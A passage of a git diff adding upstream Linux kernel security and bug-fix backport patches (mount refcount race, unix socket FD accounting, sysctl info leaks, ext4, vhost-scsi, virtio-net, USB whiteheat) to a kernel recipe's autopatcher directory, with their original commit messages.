jump; chase it. */ + duprintf("Jump rule %u -> %u\n", + pos, newpos); ++ e = (struct ip6t_entry *) ++ (entry0 + newpos); + } else { + /* ... this is a fallthru */ + newpos = pos + e->next_offset; ++ if (newpos >= newinfo->size) ++ return 0; + } + e = (struct ip6t_entry *) + (entry0 + newpos); +-- +2.4.10 + +-- +To unsubscribe from this list: send the line "unsubscribe netfilter-devel" in +the body of a message to majordomo@vger.kernel.org +More majordomo info at http://vger.kernel.org/majordomo-info.html \ No newline at end of file diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0040-9ea0a46ca2c3-fix mntputmntput race.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0040-9ea0a46ca2c3-fix mntputmntput race.patch new file mode 100644 index 0000000..852a974 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0040-9ea0a46ca2c3-fix mntputmntput race.patch @@ -0,0 +1,76 @@ +From 9ea0a46ca2c318fcc449c1e6b62a7230a17888f1 Mon Sep 17 00:00:00 2001 +From: Al Viro +Date: Thu, 9 Aug 2018 17:21:17 -0400 +Subject: fix mntput/mntput race + +mntput_no_expire() does the calculation of total refcount under mount_lock; +unfortunately, the decrement (as well as all increments) are done outside +of it, leading to false positives in the "are we dropping the last reference" +test. Consider the following situation: + * mnt is a lazy-umounted mount, kept alive by two opened files. One +of those files gets closed. Total refcount of mnt is 2. On CPU 42 +mntput(mnt) (called from __fput()) drops one reference, decrementing component + * After it has looked at component #0, the process on CPU 0 does +mntget(), incrementing component #0, gets preempted and gets to run again - +on CPU 69. There it does mntput(), which drops the reference (component #69) +and proceeds to spin on mount_lock. + * On CPU 42 our first mntput() finishes counting. It observes the +decrement of component #69, but not the increment of component #0. As the +result, the total it gets is not 1 as it should've been - it's 0. At which +point we decide that vfsmount needs to be killed and proceed to free it and +shut the filesystem down. However, there's still another opened file +on that filesystem, with reference to (now freed) vfsmount, etc. and we are +screwed. + +It's not a wide race, but it can be reproduced with artificial slowdown of +the mnt_get_count() loop, and it should be easier to hit on SMP KVM setups. + +Fix consists of moving the refcount decrement under mount_lock; the tricky +part is that we want (and can) keep the fast case (i.e. mount that still +has non-NULL ->mnt_ns) entirely out of mount_lock. All places that zero +mnt->mnt_ns are dropping some reference to mnt and they call synchronize_rcu() +before that mntput(). IOW, if mntput() observes (under rcu_read_lock()) +a non-NULL ->mnt_ns, it is guaranteed that there is another reference yet to +be dropped. + +Reported-by: Jann Horn +Tested-by: Jann Horn +Fixes: 48a066e72d97 ("RCU'd vsfmounts") +Cc: stable@vger.kernel.org +Signed-off-by: Al Viro +--- + fs/namespace.c | 14 ++++++++++++-- + 1 file changed, 12 insertions(+), 2 deletions(-) + +diff --git a/fs/namespace.c b/fs/namespace.c +index 8ddd14806799d..d46a951bd5411 100644 +--- a/fs/namespace.c ++++ b/fs/namespace.c +@@ -1195,12 +1195,22 @@ static DECLARE_DELAYED_WORK(delayed_mntput_work, delayed_mntput); + static void mntput_no_expire(struct mount *mnt) + { + rcu_read_lock(); +- mnt_add_count(mnt, -1); +- if (likely(mnt->mnt_ns)) { /* shouldn't be the last one */ ++ if (likely(READ_ONCE(mnt->mnt_ns))) { ++ /* ++ * Since we don't do lock_mount_hash() here, ++ * ->mnt_ns can change under us. However, if it's ++ * non-NULL, then there's a reference that won't ++ * be dropped until after an RCU delay done after ++ * turning ->mnt_ns NULL. So if we observe it ++ * non-NULL under rcu_read_lock(), the reference ++ * we are dropping is not the final one. ++ */ ++ mnt_add_count(mnt, -1); + rcu_read_unlock(); + return; + } + lock_mount_hash(); ++ mnt_add_count(mnt, -1); + if (mnt_get_count(mnt)) { + rcu_read_unlock(); + unlock_mount_hash(); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0041-a5b9e44af8d3-unix properly account for FDs passed over unix sockets.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0041-a5b9e44af8d3-unix properly account for FDs passed over unix sockets.patch new file mode 100644 index 0000000..27a4e15 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0041-a5b9e44af8d3-unix properly account for FDs passed over unix sockets.patch @@ -0,0 +1,142 @@ +From a5b9e44af8d3edaf49d14a91cc519a9fba439e67 Mon Sep 17 00:00:00 2001 +From: willy tarreau +Date: Sun, 10 Jan 2016 07:54:56 +0100 +Subject: unix: properly account for FDs passed over unix sockets + +[ Upstream commit 712f4aad406bb1ed67f3f98d04c044191f0ff593 ] + +It is possible for a process to allocate and accumulate far more FDs than +the process' limit by sending them over a unix socket then closing them +to keep the process' fd count low. + +This change addresses this problem by keeping track of the number of FDs +in flight per user and preventing non-privileged processes from having +more FDs in flight than their configured FD limit. + +Reported-by: socketpair@gmail.com +Reported-by: Tetsuo Handa +Mitigates: CVE-2013-4312 (Linux 2.0+) +Suggested-by: Linus Torvalds +Acked-by: Hannes Frederic Sowa +Signed-off-by: Willy Tarreau +Signed-off-by: David S. Miller +Signed-off-by: Sasha Levin +--- + include/linux/sched.h | 1 + + net/unix/af_unix.c | 24 ++++++++++++++++++++---- + net/unix/garbage.c | 16 ++++++++++++---- + 3 files changed, 33 insertions(+), 8 deletions(-) + +diff --git a/include/linux/sched.h b/include/linux/sched.h +index 5e344bbe63ec2..2a0bcc8411dc6 100644 +--- a/include/linux/sched.h ++++ b/include/linux/sched.h +@@ -758,6 +758,7 @@ struct user_struct { + unsigned long mq_bytes; /* How many bytes can be allocated to mqueue? */ + #endif + unsigned long locked_shm; /* How many pages of mlocked shm ? */ ++ unsigned long unix_inflight; /* How many files in flight in unix sockets */ + + #ifdef CONFIG_KEYS + struct key *uid_keyring; /* UID specific keyring */ +diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c +index 7229794c14195..20d752634efb1 100644 +--- a/net/unix/af_unix.c ++++ b/net/unix/af_unix.c +@@ -1486,6 +1486,21 @@ static void unix_destruct_scm(struct sk_buff *skb) + sock_wfree(skb); + } + ++/* ++ * The "user->unix_inflight" variable is protected by the garbage ++ * collection lock, and we just read it locklessly here. If you go ++ * over the limit, there might be a tiny race in actually noticing ++ * it across threads. Tough. ++ */ ++static inline bool too_many_unix_fds(struct task_struct *p) ++{ ++ struct user_struct *user = current_user(); ++ ++ if (unlikely(user->unix_inflight > task_rlimit(p, RLIMIT_NOFILE))) ++ return !capable(CAP_SYS_RESOURCE) && !capable(CAP_SYS_ADMIN); ++ return false; ++} ++ + #define MAX_RECURSION_LEVEL 4 + + static int unix_attach_fds(struct scm_cookie *scm, struct sk_buff *skb) +@@ -1494,6 +1509,9 @@ static int unix_attach_fds(struct scm_cookie *scm, struct sk_buff *skb) + unsigned char max_level = 0; + int unix_sock_count = 0; + ++ if (too_many_unix_fds(current)) ++ return -ETOOMANYREFS; ++ + for (i = scm->fp->count - 1; i >= 0; i--) { + struct sock *sk = unix_get_socket(scm->fp->fp[i]); + +@@ -1515,10 +1533,8 @@ static int unix_attach_fds(struct scm_cookie *scm, struct sk_buff *skb) + if (!UNIXCB(skb).fp) + return -ENOMEM; + +- if (unix_sock_count) { +- for (i = scm->fp->count - 1; i >= 0; i--) +- unix_inflight(scm->fp->fp[i]); +- } ++ for (i = scm->fp->count - 1; i >= 0; i--) ++ unix_inflight(scm->fp->fp[i]); + return max_level; + } + +diff --git a/net/unix/garbage.c b/net/unix/garbage.c +index 99f7012b23b9f..6247787e4760e 100644 +--- a/net/unix/garbage.c ++++ b/net/unix/garbage.c +@@ -125,9 +125,12 @@ struct sock *unix_get_socket(struct file *filp) + void unix_inflight(struct file *fp) + { + struct sock *s = unix_get_socket(fp); ++ ++ spin_lock(&unix_gc_lock); ++ + if (s) { + struct unix_sock *u = unix_sk(s); +- spin_lock(&unix_gc_lock); ++ + if (atomic_long_inc_return(&u->inflight) == 1) { + BUG_ON(!list_empty(&u->link)); + list_add_tail(&u->link, &gc_inflight_list); +@@ -135,22 +138,27 @@ void unix_inflight(struct file *fp) + BUG_ON(list_empty(&u->link)); + } + unix_tot_inflight++; +- spin_unlock(&unix_gc_lock); + } ++ fp->f_cred->user->unix_inflight++; ++ spin_unlock(&unix_gc_lock); + } + + void unix_notinflight(struct file *fp) + { + struct sock *s = unix_get_socket(fp); ++ ++ spin_lock(&unix_gc_lock); ++ + if (s) { + struct unix_sock *u = unix_sk(s); +- spin_lock(&unix_gc_lock); ++ + BUG_ON(list_empty(&u->link)); + if (atomic_long_dec_and_test(&u->inflight)) + list_del_init(&u->link); + unix_tot_inflight--; +- spin_unlock(&unix_gc_lock); + } ++ fp->f_cred->user->unix_inflight--; ++ spin_unlock(&unix_gc_lock); + } + + static void scan_inflight(struct sock *x, void (*func)(struct unix_sock *), +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0042-63c317dbee97-net Zeroing the structure ethtoolwolinfo in ethtoolgetwol.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0042-63c317dbee97-net Zeroing the structure ethtoolwolinfo in ethtoolgetwol.patch new file mode 100644 index 0000000..8bc9100 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0042-63c317dbee97-net Zeroing the structure ethtoolwolinfo in ethtoolgetwol.patch @@ -0,0 +1,36 @@ +From 63c317dbee97983004dffdd9f742a20d17150071 Mon Sep 17 00:00:00 2001 +From: Avijit Kanti Das +Date: Wed, 14 May 2014 11:03:56 -0700 +Subject: net: Zeroing the structure ethtool_wolinfo in ethtool_get_wol() + +memset() the structure ethtool_wolinfo that has padded bytes +but the padded bytes have not been zeroed out. + +Change-Id: If3fd2d872a1b1ab9521d937b86a29fc468a8bbfe +Signed-off-by: Avijit Kanti Das +--- + net/core/ethtool.c | 4 +++- + 1 file changed, 3 insertions(+), 1 deletion(-) + +diff --git a/net/core/ethtool.c b/net/core/ethtool.c +index ce91766..900a05f 100644 +--- a/net/core/ethtool.c ++++ b/net/core/ethtool.c +@@ -711,11 +711,13 @@ static int ethtool_reset(struct net_device *dev, char __user *useraddr) + + static int ethtool_get_wol(struct net_device *dev, char __user *useraddr) + { +- struct ethtool_wolinfo wol = { .cmd = ETHTOOL_GWOL }; ++ struct ethtool_wolinfo wol; + + if (!dev->ethtool_ops->get_wol) + return -EOPNOTSUPP; + ++ memset(&wol, 0, sizeof(struct ethtool_wolinfo)); ++ wol.cmd = ETHTOOL_GWOL; + dev->ethtool_ops->get_wol(dev, &wol); + + if (copy_to_user(useraddr, &wol, sizeof(wol))) +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0043-0f2af21aae11-ext4 allocate entire range in zero range.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0043-0f2af21aae11-ext4 allocate entire range in zero range.patch new file mode 100644 index 0000000..c080213 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0043-0f2af21aae11-ext4 allocate entire range in zero range.patch @@ -0,0 +1,80 @@ +From 0f2af21aae11972fa924374ddcf52e88347cf5a8 Mon Sep 17 00:00:00 2001 +From: Lukas Czerner +Date: Fri, 3 Apr 2015 00:09:13 -0400 +Subject: ext4: allocate entire range in zero range + +Currently there is a bug in zero range code which causes zero range +calls to only allocate block aligned portion of the range, while +ignoring the rest in some cases. + +In some cases, namely if the end of the range is past i_size, we do +attempt to preallocate the last nonaligned block. However this might +cause kernel to BUG() in some carefully designed zero range requests +on setups where page size > block size. + +Fix this problem by first preallocating the entire range, including +the nonaligned edges and converting the written extents to unwritten +in the next step. This approach will also give us the advantage of +having the range to be as linearly contiguous as possible. + +Signed-off-by: Lukas Czerner +Signed-off-by: Theodore Ts'o +--- + fs/ext4/extents.c | 31 +++++++++++++++++++------------ + 1 file changed, 19 insertions(+), 12 deletions(-) + +diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c +index 2e6af88d112f..3cc17aacc4c7 100644 +--- a/fs/ext4/extents.c ++++ b/fs/ext4/extents.c +@@ -4797,12 +4797,6 @@ static long ext4_zero_range(struct file *file, loff_t offset, + else + max_blocks -= lblk; + +- flags = EXT4_GET_BLOCKS_CREATE_UNWRIT_EXT | +- EXT4_GET_BLOCKS_CONVERT_UNWRITTEN | +- EXT4_EX_NOCACHE; +- if (mode & FALLOC_FL_KEEP_SIZE) +- flags |= EXT4_GET_BLOCKS_KEEP_SIZE; +- + mutex_lock(&inode->i_mutex); + + /* +@@ -4819,15 +4813,28 @@ static long ext4_zero_range(struct file *file, loff_t offset, + ret = inode_newsize_ok(inode, new_size); + if (ret) + goto out_mutex; +- /* +- * If we have a partial block after EOF we have to allocate +- * the entire block. +- */ +- if (partial_end) +- max_blocks += 1; + } + ++ flags = EXT4_GET_BLOCKS_CREATE_UNWRIT_EXT; ++ if (mode & FALLOC_FL_KEEP_SIZE) ++ flags |= EXT4_GET_BLOCKS_KEEP_SIZE; ++ ++ /* Preallocate the range including the unaligned edges */ ++ if (partial_begin || partial_end) { ++ ret = ext4_alloc_file_blocks(file, ++ round_down(offset, 1 << blkbits) >> blkbits, ++ (round_up((offset + len), 1 << blkbits) - ++ round_down(offset, 1 << blkbits)) >> blkbits, ++ new_size, flags, mode); ++ if (ret) ++ goto out_mutex; ++ ++ } ++ ++ /* Zero range excluding the unaligned edges */ + if (max_blocks > 0) { ++ flags |= (EXT4_GET_BLOCKS_CONVERT_UNWRITTEN | ++ EXT4_EX_NOCACHE); + + /* Now release the pages and zero block aligned part of pages*/ + truncate_pagecache_range(inode, start, end - 1); +-- +cgit 1.2-0.3.lf.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0044-2c5816b4becc-cuse fix memory leak.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0044-2c5816b4becc-cuse fix memory leak.patch new file mode 100644 index 0000000..a1cfc51 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0044-2c5816b4becc-cuse fix memory leak.patch @@ -0,0 +1,32 @@ +From 2c5816b4beccc8ba709144539f6fdd764f8fa49c Mon Sep 17 00:00:00 2001 +From: Miklos Szeredi +Date: Tue, 10 Nov 2015 10:32:36 +0100 +Subject: cuse: fix memory leak + +The problem is that fuse_dev_alloc() acquires an extra reference to cc.fc, +and the original ref count is never dropped. + +Reported-by: Colin Ian King +Signed-off-by: Miklos Szeredi +Fixes: cc080e9e9be1 ("fuse: introduce per-instance fuse_dev structure") +Cc: # v4.2+ +--- + fs/fuse/cuse.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/fs/fuse/cuse.c b/fs/fuse/cuse.c +index eae2c11268bc..8e3ee1936c7e 100644 +--- a/fs/fuse/cuse.c ++++ b/fs/fuse/cuse.c +@@ -549,6 +549,8 @@ static int cuse_channel_release(struct inode *inode, struct file *file) + unregister_chrdev_region(cc->cdev->dev, 1); + cdev_del(cc->cdev); + } ++ /* Base reference is now owned by "fud" */ ++ fuse_conn_put(&cc->fc); + + rc = fuse_dev_release(inode, file); /* puts the base reference */ + +-- +cgit 1.2-0.3.lf.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0045-6b8d9117ccb4-PATCH net llc use correct size for sysctl timeout entries.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0045-6b8d9117ccb4-PATCH net llc use correct size for sysctl timeout entries.patch new file mode 100644 index 0000000..cabfc50 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0045-6b8d9117ccb4-PATCH net llc use correct size for sysctl timeout entries.patch @@ -0,0 +1,52 @@ +From 6b8d9117ccb4f81b1244aafa7bc70ef8fa45fc49 Mon Sep 17 00:00:00 2001 +From: Sasha Levin +Date: Fri, 23 Jan 2015 20:47:00 -0500 +Subject: [PATCH] net: llc: use correct size for sysctl timeout entries + +The timeout entries are sizeof(int) rather than sizeof(long), which +means that when they were getting read we'd also leak kernel memory +to userspace along with the timeout values. + +Signed-off-by: Sasha Levin +Signed-off-by: David S. Miller +--- + net/llc/sysctl_net_llc.c | 8 ++++---- + 1 file changed, 4 insertions(+), 4 deletions(-) + +diff --git a/net/llc/sysctl_net_llc.c b/net/llc/sysctl_net_llc.c +index 612a5ddaf93b1..799bafc2af39e 100644 +--- a/net/llc/sysctl_net_llc.c ++++ b/net/llc/sysctl_net_llc.c +@@ -18,28 +18,28 @@ static struct ctl_table llc2_timeout_table[] = { + { + .procname = "ack", + .data = &sysctl_llc2_ack_timeout, +- .maxlen = sizeof(long), ++ .maxlen = sizeof(sysctl_llc2_ack_timeout), + .mode = 0644, + .proc_handler = proc_dointvec_jiffies, + }, + { + .procname = "busy", + .data = &sysctl_llc2_busy_timeout, +- .maxlen = sizeof(long), ++ .maxlen = sizeof(sysctl_llc2_busy_timeout), + .mode = 0644, + .proc_handler = proc_dointvec_jiffies, + }, + { + .procname = "p", + .data = &sysctl_llc2_p_timeout, +- .maxlen = sizeof(long), ++ .maxlen = sizeof(sysctl_llc2_p_timeout), + .mode = 0644, + .proc_handler = proc_dointvec_jiffies, + }, + { + .procname = "rej", + .data = &sysctl_llc2_rej_timeout, +- .maxlen = sizeof(long), ++ .maxlen = sizeof(sysctl_llc2_rej_timeout), + .mode = 0644, + .proc_handler = proc_dointvec_jiffies, + }, diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0046-db27ebb111e9-net rds use correct size for max unacked packets and bytes.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0046-db27ebb111e9-net rds use correct size for max unacked packets and bytes.patch new file mode 100644 index 0000000..9ea588b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0046-db27ebb111e9-net rds use correct size for max unacked packets and bytes.patch @@ -0,0 +1,41 @@ +From db27ebb111e9f69efece08e4cb6a34ff980f8896 Mon Sep 17 00:00:00 2001 +From: Sasha Levin +Date: Tue, 3 Feb 2015 08:55:58 -0500 +Subject: net: rds: use correct size for max unacked packets and bytes + +Max unacked packets/bytes is an int while sizeof(long) was used in the +sysctl table. + +This means that when they were getting read we'd also leak kernel memory +to userspace along with the timeout values. + +Signed-off-by: Sasha Levin +Signed-off-by: David S. Miller +--- + net/rds/sysctl.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/net/rds/sysctl.c b/net/rds/sysctl.c +index c3b0cd43eb566..c173f69e1479b 100644 +--- a/net/rds/sysctl.c ++++ b/net/rds/sysctl.c +@@ -71,14 +71,14 @@ static struct ctl_table rds_sysctl_rds_table[] = { + { + .procname = "max_unacked_packets", + .data = &rds_sysctl_max_unacked_packets, +- .maxlen = sizeof(unsigned long), ++ .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = proc_dointvec, + }, + { + .procname = "max_unacked_bytes", + .data = &rds_sysctl_max_unacked_bytes, +- .maxlen = sizeof(unsigned long), ++ .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = proc_dointvec, + }, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0047-47ce8d2e1fca-mm avoid setting up anonymous pages into file mapping.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0047-47ce8d2e1fca-mm avoid setting up anonymous pages into file mapping.patch new file mode 100644 index 0000000..2e041f1 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0047-47ce8d2e1fca-mm avoid setting up anonymous pages into file mapping.patch @@ -0,0 +1,73 @@ +From 47ce8d2e1fcaac31cbe7d84882c8a6b29e201398 Mon Sep 17 00:00:00 2001 +From: "Kirill A. Shutemov" +Date: Mon, 6 Jul 2015 23:18:37 +0300 +Subject: mm: avoid setting up anonymous pages into file mapping + +commit 6b7339f4c31ad69c8e9c0b2859276e22cf72176d upstream. + +Reading page fault handler code I've noticed that under right +circumstances kernel would map anonymous pages into file mappings: if +the VMA doesn't have vm_ops->fault() and the VMA wasn't fully populated +on ->mmap(), kernel would handle page fault to not populated pte with +do_anonymous_page(). + +Let's change page fault handler to use do_anonymous_page() only on +anonymous VMA (->vm_ops == NULL) and make sure that the VMA is not +shared. + +For file mappings without vm_ops->fault() or shred VMA without vm_ops, +page fault on pte_none() entry would lead to SIGBUS. + +Signed-off-by: Kirill A. Shutemov +Acked-by: Oleg Nesterov +Cc: Andrew Morton +Cc: Willy Tarreau +Signed-off-by: Linus Torvalds +Signed-off-by: Amit Pundir +Signed-off-by: Greg Kroah-Hartman +--- + mm/memory.c | 13 +++++++++---- + 1 file changed, 9 insertions(+), 4 deletions(-) + +diff --git a/mm/memory.c b/mm/memory.c +index e8e3cf7bd247d..6ca26c3327120 100644 +--- a/mm/memory.c ++++ b/mm/memory.c +@@ -2629,6 +2629,10 @@ static int do_anonymous_page(struct mm_struct *mm, struct vm_area_struct *vma, + + pte_unmap(page_table); + ++ /* File mapping without ->vm_ops ? */ ++ if (vma->vm_flags & VM_SHARED) ++ return VM_FAULT_SIGBUS; ++ + /* Check if we need to add a guard page to the stack */ + if (check_stack_guard_page(vma, address) < 0) + return VM_FAULT_SIGSEGV; +@@ -3033,6 +3037,9 @@ static int do_linear_fault(struct mm_struct *mm, struct vm_area_struct *vma, + - vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff; + + pte_unmap(page_table); ++ /* The VMA was not fully populated on mmap() or missing VM_DONTEXPAND */ ++ if (!vma->vm_ops->fault) ++ return VM_FAULT_SIGBUS; + if (!(flags & FAULT_FLAG_WRITE)) + return do_read_fault(mm, vma, address, pmd, pgoff, flags, + orig_pte); +@@ -3198,11 +3205,9 @@ static int handle_pte_fault(struct mm_struct *mm, + entry = ACCESS_ONCE(*pte); + if (!pte_present(entry)) { + if (pte_none(entry)) { +- if (vma->vm_ops) { +- if (likely(vma->vm_ops->fault)) +- return do_linear_fault(mm, vma, address, ++ if (vma->vm_ops) ++ return do_linear_fault(mm, vma, address, + pte, pmd, flags, entry); +- } + return do_anonymous_page(mm, vma, address, + pte, pmd, flags); + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0048-0812542d8e53-vhostscsi potential memory corruption.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0048-0812542d8e53-vhostscsi potential memory corruption.patch new file mode 100644 index 0000000..801af4e --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0048-0812542d8e53-vhostscsi potential memory corruption.patch @@ -0,0 +1,57 @@ +From 0812542d8e5337822045c81695caff87ea4f5105 Mon Sep 17 00:00:00 2001 +From: Dan Carpenter +Date: Thu, 5 Feb 2015 10:37:33 +0300 +Subject: vhost/scsi: potential memory corruption + +[ Upstream commit 59c816c1f24df0204e01851431d3bab3eb76719c ] + +This code in vhost_scsi_make_tpg() is confusing because we limit "tpgt" +to UINT_MAX but the data type of "tpg->tport_tpgt" and that is a u16. + +I looked at the context and it turns out that in +vhost_scsi_set_endpoint(), "tpg->tport_tpgt" is used as an offset into +the vs_tpg[] array which has VHOST_SCSI_MAX_TARGET (256) elements so +anything higher than 255 then it is invalid. I have made that the limit +now. + +In vhost_scsi_send_evt() we mask away values higher than 255, but now +that the limit has changed, we don't need the mask. + +Signed-off-by: Dan Carpenter +Signed-off-by: Nicholas Bellinger +Signed-off-by: Sasha Levin +--- + drivers/vhost/scsi.c | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +diff --git a/drivers/vhost/scsi.c b/drivers/vhost/scsi.c +index cb84f69f76ad2..313f09a736242 100644 +--- a/drivers/vhost/scsi.c ++++ b/drivers/vhost/scsi.c +@@ -1251,7 +1251,7 @@ tcm_vhost_send_evt(struct vhost_scsi *vs, + * lun[4-7] need to be zero according to virtio-scsi spec. + */ + evt->event.lun[0] = 0x01; +- evt->event.lun[1] = tpg->tport_tpgt & 0xFF; ++ evt->event.lun[1] = tpg->tport_tpgt; + if (lun->unpacked_lun >= 256) + evt->event.lun[2] = lun->unpacked_lun >> 8 | 0x40 ; + evt->event.lun[3] = lun->unpacked_lun & 0xFF; +@@ -2122,12 +2122,12 @@ tcm_vhost_make_tpg(struct se_wwn *wwn, + struct tcm_vhost_tport, tport_wwn); + + struct tcm_vhost_tpg *tpg; +- unsigned long tpgt; ++ u16 tpgt; + int ret; + + if (strstr(name, "tpgt_") != name) + return ERR_PTR(-EINVAL); +- if (kstrtoul(name + 5, 10, &tpgt) || tpgt > UINT_MAX) ++ if (kstrtou16(name + 5, 10, &tpgt) || tpgt >= VHOST_SCSI_MAX_TARGET) + return ERR_PTR(-EINVAL); + + tpg = kzalloc(sizeof(struct tcm_vhost_tpg), GFP_KERNEL); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0049-feeb0406f75a-virtionet drop NETIFFFRAGLIST.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0049-feeb0406f75a-virtionet drop NETIFFFRAGLIST.patch new file mode 100644 index 0000000..662c43e --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0049-feeb0406f75a-virtionet drop NETIFFFRAGLIST.patch @@ -0,0 +1,44 @@ +From feeb0406f75ae3488ff6573903533000125b2faf Mon Sep 17 00:00:00 2001 +From: Jason Wang +Date: Wed, 5 Aug 2015 10:34:04 +0800 +Subject: virtio-net: drop NETIF_F_FRAGLIST + +[ Upstream commit 48900cb6af4282fa0fb6ff4d72a81aa3dadb5c39 ] + +virtio declares support for NETIF_F_FRAGLIST, but assumes +that there are at most MAX_SKB_FRAGS + 2 fragments which isn't +always true with a fraglist. + +A longer fraglist in the skb will make the call to skb_to_sgvec overflow +the sg array, leading to memory corruption. + +Drop NETIF_F_FRAGLIST so we only get what we can handle. + +Cc: Michael S. Tsirkin +Signed-off-by: Jason Wang +Acked-by: Michael S. Tsirkin +Signed-off-by: David S. Miller +Signed-off-by: Sasha Levin +--- + drivers/net/virtio_net.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/drivers/net/virtio_net.c b/drivers/net/virtio_net.c +index 484ecce78025d..ce2a29971230c 100644 +--- a/drivers/net/virtio_net.c ++++ b/drivers/net/virtio_net.c +@@ -1746,9 +1746,9 @@ static int virtnet_probe(struct virtio_device *vdev) + /* Do we support "hardware" checksums? */ + if (virtio_has_feature(vdev, VIRTIO_NET_F_CSUM)) { + /* This opens up the world of extra features. */ +- dev->hw_features |= NETIF_F_HW_CSUM|NETIF_F_SG|NETIF_F_FRAGLIST; ++ dev->hw_features |= NETIF_F_HW_CSUM | NETIF_F_SG; + if (csum) +- dev->features |= NETIF_F_HW_CSUM|NETIF_F_SG|NETIF_F_FRAGLIST; ++ dev->features |= NETIF_F_HW_CSUM | NETIF_F_SG; + + if (virtio_has_feature(vdev, VIRTIO_NET_F_GSO)) { + dev->hw_features |= NETIF_F_TSO +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0050-b57a9f68701f-USB whiteheat fix potential nullderef at probe.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0050-b57a9f68701f-USB whiteheat fix potential nullderef at probe.patch new file mode 100644 index 0000000..5cb52e8 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0050-b57a9f68701f-USB whiteheat fix potential nullderef at probe.patch @@ -0,0 +1,85 @@ +From b57a9f68701f9587e1b1792232db55615353c314 Mon Sep 17 00:00:00 2001 +From: Johan Hovold +Date: Wed, 23 Sep 2015 11:41:42 -0700 +Subject: USB: whiteheat: fix potential null-deref at probe + +[ Upstream commit cbb4be652d374f64661137756b8f357a1827d6a4 ] + +Fix potential null-pointer dereference at probe by making sure that the +required endpoints are present. + +The whiteheat driver assumes there are at least five pairs of bulk +endpoints, of which the final pair is used for the "command port". An +attempt to bind to an interface with fewer bulk endpoints would +currently lead to an oops. + +Fixes CVE-2015-5257. + +Reported-by: Moein Ghasemzadeh +Cc: stable +Signed-off-by: Johan Hovold +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Sasha Levin +--- + drivers/usb/serial/whiteheat.c | 31 +++++++++++++++++++++++++++++++ + 1 file changed, 31 insertions(+) + +diff --git a/drivers/usb/serial/whiteheat.c b/drivers/usb/serial/whiteheat.c +index 6c3734d2b45a7..d3ea90bef84d9 100644 +--- a/drivers/usb/serial/whiteheat.c ++++ b/drivers/usb/serial/whiteheat.c +@@ -80,6 +80,8 @@ static int whiteheat_firmware_download(struct usb_serial *serial, + static int whiteheat_firmware_attach(struct usb_serial *serial); + + /* function prototypes for the Connect Tech WhiteHEAT serial converter */ ++static int whiteheat_probe(struct usb_serial *serial, ++ const struct usb_device_id *id); + static int whiteheat_attach(struct usb_serial *serial); + static void whiteheat_release(struct usb_serial *serial); + static int whiteheat_port_probe(struct usb_serial_port *port); +@@ -116,6 +118,7 @@ static struct usb_serial_driver whiteheat_device = { + .description = "Connect Tech - WhiteHEAT", + .id_table = id_table_std, + .num_ports = 4, ++ .probe = whiteheat_probe, + .attach = whiteheat_attach, + .release = whiteheat_release, + .port_probe = whiteheat_port_probe, +@@ -217,6 +220,34 @@ static int whiteheat_firmware_attach(struct usb_serial *serial) + /***************************************************************************** + * Connect Tech's White Heat serial driver functions + *****************************************************************************/ ++ ++static int whiteheat_probe(struct usb_serial *serial, ++ const struct usb_device_id *id) ++{ ++ struct usb_host_interface *iface_desc; ++ struct usb_endpoint_descriptor *endpoint; ++ size_t num_bulk_in = 0; ++ size_t num_bulk_out = 0; ++ size_t min_num_bulk; ++ unsigned int i; ++ ++ iface_desc = serial->interface->cur_altsetting; ++ ++ for (i = 0; i < iface_desc->desc.bNumEndpoints; i++) { ++ endpoint = &iface_desc->endpoint[i].desc; ++ if (usb_endpoint_is_bulk_in(endpoint)) ++ ++num_bulk_in; ++ if (usb_endpoint_is_bulk_out(endpoint)) ++ ++num_bulk_out; ++ } ++ ++ min_num_bulk = COMMAND_PORT + 1; ++ 